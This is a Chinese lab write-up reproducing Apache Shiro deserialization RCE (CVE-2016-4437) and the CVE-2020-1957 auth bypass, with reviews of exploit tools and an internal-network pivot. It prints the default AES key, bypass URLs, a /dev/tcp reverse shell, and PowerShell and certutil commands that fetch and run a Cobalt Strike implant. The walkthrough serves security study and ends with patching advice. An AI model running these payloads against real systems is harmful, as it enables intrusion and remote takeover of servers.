本篇文章是Shiro框架复现记录,记录了实际中常见的Shiro框架漏洞并如何利用,对漏洞底层的原理简单分析,主要分为五个部分:Shiro简单介绍、相关环境搭建、漏洞复现、工具介绍和自建内网环境实战。
本篇文章由浅入深地复现了两个经典漏洞及介绍五个Shiro渗透工具,相关参考文章也在文中有列出。此外,文中也可能会出现部分错误,望读者指出,谢谢。接着,开始我们的Shiro渗透之路学习!
一、Shiro简介
1、Shiro介绍
Apache Shiro
是一个强大且易用的Java
安全框架,用于身份验证、授权、密码和会话管理,具有以下特点:
易于使用——易用性是项目的最终目标。应用程序安全非常令人困惑和沮丧,被认为是“不可避免的灾难”。如果你让它简化到新手都可以使用它,它就将不再是一种痛苦了。
全面——没有其他安全框架的宽度范围可以同Apache Shiro一样,它可以成为你的“一站式”为您的安全需求提供保障。
灵活——Apache Shiro可以在任何应用程序环境中工作。虽然在网络工作、EJB和IoC环境中可能并不需要它。但Shiro的授权也没有任何规范,甚至没有许多依赖关系。
Web支持——Apache Shiro拥有令人兴奋的web应用程序支持,允许您基于应用程序的url创建灵活的安全策略和网络协议(例如REST),同时还提供一组JSP库控制页面输出。
低耦合——Shiro干净的API和设计模式使它容易与许多其他框架和应用程序集成。你会看到Shiro无缝地集成Spring这样的框架, 以及Grails, Wicket, Tapestry, Mule, Apache Camel, Vaadin…等。
被广泛支持——Apache Shiro是Apache软件基金会的一部分。项目开发和用户组都有友好的网民愿意帮助。这样的商业公司如果需要Katasoft还提供专业的支持和服务。
2、Shiro漏洞原理
在Shiro
框架下,用户登陆成功后会生成一个经过加密的Cookie
。其Cookie
的Key
的值为RememberMe
,Value
的值是经过序列化、AES
加密和Base64
编码后得到的结果。
服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:
检索RememberMe Cookie
的值
进行Base64
解码
进行AES
解码
进行反序列化操作
在第4步中的调用反序列化时未进行任何过滤,进而可以导致出发远程代码执行漏洞。
由于使用了AES
加密,成功利用该漏洞需要获取AES
的加密密钥,在Shiro1.2.4
版本之前AES
的加密密钥为硬编码,其默认密钥的Base64
编码后的值为kPH+bIxk5D2deZiIxcaaaA==
,于是就可得到Payload
的构造流程:
恶意命令-->序列化-->AES加密-->base64编码-->发送Cookie
目前官方通过去掉硬编码的密钥是的每次生成一个密钥来解决其漏洞,但可以通过搜索引擎等方式收集到不同的密钥,提高对该漏洞的利用成功率。
3、Shiro漏洞指纹
响应包中存在字段set-Cookie: rememberMe=deleteMe
二、环境搭建
1、Java1.8安装
下载地址:https://www.java.com/zh-CN/download/
默认下一步安装即可
2、Tomcat8.x安装
下载地址:https://tomcat.apache.org/download-80.cgi
默认下一步安装即可
3、部署Shiro war包
将whiro.war
包放置C:\Tomcat 8.5\webapps\
目录下
开启Tomcat
访问网址:192.168.112.151:8080
,该ip
是环境自身ip
地址
4、漏洞环境搭建
这里使用vulhub
靶场进行Spring渗透学习
0x01 Docker环境安装
参考:vulhub漏洞环境搭建
1、安装Docker
sudo apt install curl
curl -s https://get.docker.com/ | sh
2、安装python和pip
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
3、安装docker-compose
pip install docker-compose
sudo apt install docker-compose
docker-compose -v
0x02 vulhub靶场安装
git clone https://github.com/vulhub/vulhub.git
cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build # 构建
sudo docker-compose up -d # 命令启动容器
docker ps # 查看正在运行的容器
sudo docker exec -it b5975a1a5bfe /bin/bash # 进入docker容器内
本机IP为192.168.112.141
参考: Docker容器进入的4种方式
三、漏洞复现
以复现操作为主,底层原理解析见之后的文章
1、Apache Shiro反序列化漏洞(CVE-2016-4437)
AES密钥猜解RCE
0x01 漏洞概述
在Shiro
框架下,用户登陆成功后会生成一个经过加密的Cookie
。其Cookie
的Key
的值为RememberMe
,Value
的值是经过序列化、AES
加密和Base64
编码后得到的结果。AES
的加密密钥为硬编码,导致攻击者可以构造恶意数据造成反序列化RCE
漏洞
影响版本:
Shiro < 1.2.5
0x02 漏洞指纹
响应包中存在字段set-Cookie: rememberMe=deleteMe
0x03 漏洞利用
1)使用工具进行AES
密钥猜解
2)使用工具命令执行
0x04 自动化工具及上线CS
这里介绍一款反序列化远程命令执行利用脚本shiro-1.2.4-rce
,传送门
利用条件:shiro <= 1.2.4
使用延时判断key
和gadget
,即使目标不出网也可以检测是否存在漏洞。Python
脚本需要调用ysoserial-sleep.jar
,这里的ysoserial-sleep.jar
文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial
,否则将无法检测。该工具具有4个特性:
Key可修改添加
具有延时功能
执行的命令使用了
Base64
编码区分
Linux
和Windows
使用方法:
输入python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/
这里的IP
是刚刚在Win7
上搭建的环境的IP
执行calc
,远程打开目标主机上的计算器程序
注意点:这里命令是自动编制执行的,仍可执行,但是无回显。
上线CS:
由于上述自动化工具没有回显,这里尝试上线到CS后进一步渗透
1)开启teamserver
teamserver 192.168.112.145 1111
2)生成木马文件
开启python简易http服务,但是我这win7没安装python,就将该木马文件放到kali上,在开启简易http用于传输
3)Kali上开启python简易HTTP服务
python -m SimpleHTTPServer 8008
4)结合之前得到的shell上线CS
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.112.149:8008/Shiro1.exe','Shiro1.exe');start-process Shiro1.exe
2、 Apache Shiro权限绕过漏洞(CVE-2020-1957)
越权访问
参考:Shiro 权限绕过漏洞分析(CVE-2020-1957) - 斗象能力中心 (riskivy.com)
0x01 漏洞概述
Shiro
框架使用拦截器对用户访问权限进行控制,常见的有如anon、authc
等拦截器。
anon
拦截器为匿名拦截器,无需登陆即可进行访问,一般用于静态资源。authc
为登陆拦截器,需要登陆才可以访问。
用户可以在Shiro.ini
编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。即访问/index
时无需登陆,而访问/user/test
时需要登陆认证。
#Shiro.ini
/index = anon
/user/** = authc
------
Ant格式:
?:匹配一个字符
*:匹配零个或多个字符串
**:匹配路径中的零个或多个路径
这里的/**
可以匹配路径,即可以匹配到/user/test/
,而/*
只能匹配到单个或多个字符串,即/user/test
。那么假设配置内改为:/user/* = authc
,则可以匹配到/user/test
但无法匹配到/user/test/
(多了个斜杆),那么就会放行/user/test/
。然后进入到Spring(Servlet)
拦截器中,对于Spring,上述两个路径都是一致的,于是就造成了权限绕过。
影响版本:
Shiro < 1.5.3
0x02 漏洞环境
这里简单搭建环境测试下
1)拉取镜像
docker pull vulfocus/shiro-cve_2020_1957
2)查看并开启docker
docker images
docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.112.141 29136b1d3c61
docker ps
3)访问靶机,开启成功
0x03 漏洞利用
1)访问/hello/1
,返回302
重定向信息
/hello/1
2)访问/hello/1/
,成功绕过authc
拦截器
/hello/1/
除此之外,还可以使用下面的payload
/abcd;/../hello/1
0x04 类似漏洞
类似的漏洞还有CVE-2020-11989、CVE-2020-13933
。
四、Shiro渗透工具介绍
测试靶机地址信息:
Win7搭建:
192.168.112.151
http://192.168.112.151:8080/shiro/
Linux Vulhub靶机:
192.168.112.141
http://192.168.112.141:8080
1、shiro反序列化漏洞综合利用工具v1.5
猜解Key和命令执行,对Linux较友好
工具截图:
工具使用:
该工具主要给用于测试,上手简单,将目标地址填入对应栏即可
经测试Windows环境下有点小问题,能猜解Key但是无法命令注入
在Linux下使用体验较好
2、Shiro反序列化回显工具v2.3
猜解Key,效果一般
工具截图:该工具可自行添加Key
工具使用:
上手也是挺简单的,将key文件导入至Key框中,选择默认DNSLOG即可,开始检测。
不过体验时经常会找不到key
3、Shiro命令执行工具-雷石安全实验室
猜解Key,内置117个Key
工具截图:
工具使用:
填入url
,点击DNSLOG检测
4、Shiro550/721漏洞检测v2.51
用于外网的Key猜解及getshell,对Linux较友好
工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated
工具截图:
工具使用:
添加目标地址http://192.168.112.151:8080/shiro/
,点击下一步,选择dnslog.cn
进行漏洞检测,点击下一步进行猜解。
获取到Key值后,该工具提供了三种方式进行下一步的渗透,具体如下:
反弹Shell(Linux):采用 bash -i >& /dev/tcp/1.2.3.4/443 0>&1 命令获取shell
反弹Shell(Windows):采用 bitsadmin下载指定URL的exe可执行文件执行功能获取shell
获取Webshell 在给出的路径中写入webshell,webshell的内容在config目录下的shell.jsp中
这里选择反弹Shell(Linux)
,下面结合Kali
获取到shell
,kali
端开启监听,在命令行中写入kali
的地址及端口号。
选择反弹Shell(Windows)
进行尝试,这里先启动了CS、python简易服务器
,按照命令格式,输入下载exe
文件的url
,但是并未成功。看到下面有一行代码,测试直接在装有shiro
主机处是否有效。
certutil.exe -urlcache -split -f http://192.168.112.149:8010/Shiro1.exe shell.exe & shell.exe
结果上线CS成功,说明该工具在命令执行这方面还是有点小bug
测试获取Webshell
选项,同样是有点小问题。
5、shiro-1.2.4-rce
可用于内网猜解Key,对Linux和Windows都支持较好
这里介绍一款反序列化远程命令执行利用脚本shiro-1.2.4-rce
工具地址:https://github.com/zhzyker/shiro-1.2.4-rce)
工具截图:
利用条件:shiro <= 1.2.4
使用延时判断key
和gadget
,即使目标不出网也可以检测是否存在漏洞。Python
脚本需要调用ysoserial-sleep.jar
,这里的ysoserial-sleep.jar
文件并不是原版的,增加了延时命令功能,故不要使用原版ysoserial
,否则将无法检测。该工具具有4个特性:
Key可修改添加
具有延时功能
执行的命令使用了Base64
编码
区分Linux
和Windows
工具使用:
python3 shiro-1.2.4_rce.py http://192.168.112.151:8080/shiro/
这里的IP
是刚刚在Win7
上搭建的环境的IP
选择操作系统,这里选择Windows
。如果未知操作系统类型,可以随便选一个,错了再跑一遍即可。
执行calc
,远程打开目标主机上的计算器程序
。
注意点:这里命令是自动编制执行的,仍可执行,但是无回显。
五、内网Shiro渗透|上线CS
1、环境配置信息
内网主机
搭建了shiro框架
10.10.10.100
内网对外服务器
充当一个跳板
10.10.10.11
192.168.112.157
公网服务器
用于和内网连接
192.168.112.145
Kali Linux
192.168.112.149
2、实验模拟过程
1)获取内网服务器并上线CS
重点在于后面内网主机的获取,这里直接假设获取了服务器的权限并上线了CS
2)建立frp代理
frps.exe -c frps.ini
frpc.exe -c frpc.ini
这里设置有点小问题,
frps.ini
中的bind_addr
应该设置为0.0.0.0
接收全部地址的请求。但是这里也能进行下去,我思考下
在公网服务器上开启Proxifier代理隧道
3)Kali通过代理使用脚本进行Attack
配置proxychains.conf
vi /etc/proxychains4.conf
执行攻击脚本
proxychains python3 shiro-1.2.4_rce.py http://10.10.10.100:8080/shiro/
成功猜解到加密密钥,得到一个shell框
下一步就是上线CS了
4)创建中转监听器
选择监听器和监听主机(这里的监听主机Host
需要改为内网的地址)
5)生成木马
选择中转监听器
6)内网主机上线CS
将该木马文件放到内网服务器目录上(由于这里没有服务器目录,使用开启python简易服务器进行模拟,传输木马文件)
python -m http.server 80
输入命令,上线CS
powershell (new-object System.Net.WebClient).DownloadFile('http://10.10.10.11/shiro001.exe','shiro.exe');start-process shiro.exe
遗憾的是这里还是有点小bug,没能复现成功,但基本思路就是这样
六、总结
Shiro
框架使用了AES
对称加密技术,故其加密密钥与解密密钥一致,并且密钥是硬编码在代码中的,容易获取。也就是说在获取了密钥之后可以通过构建恶意的Cookie
获取权限执行攻击命令,得到root
权限。解决措施就是升级Shiro
版本至shiro1.2.5
以上。而对于最近出现的shiro
权限绕过漏洞,应需尽量避免使用*
通配符作为动态路由拦截器的URL路径表达式或者升级shiro
至1.5.2
版本以上。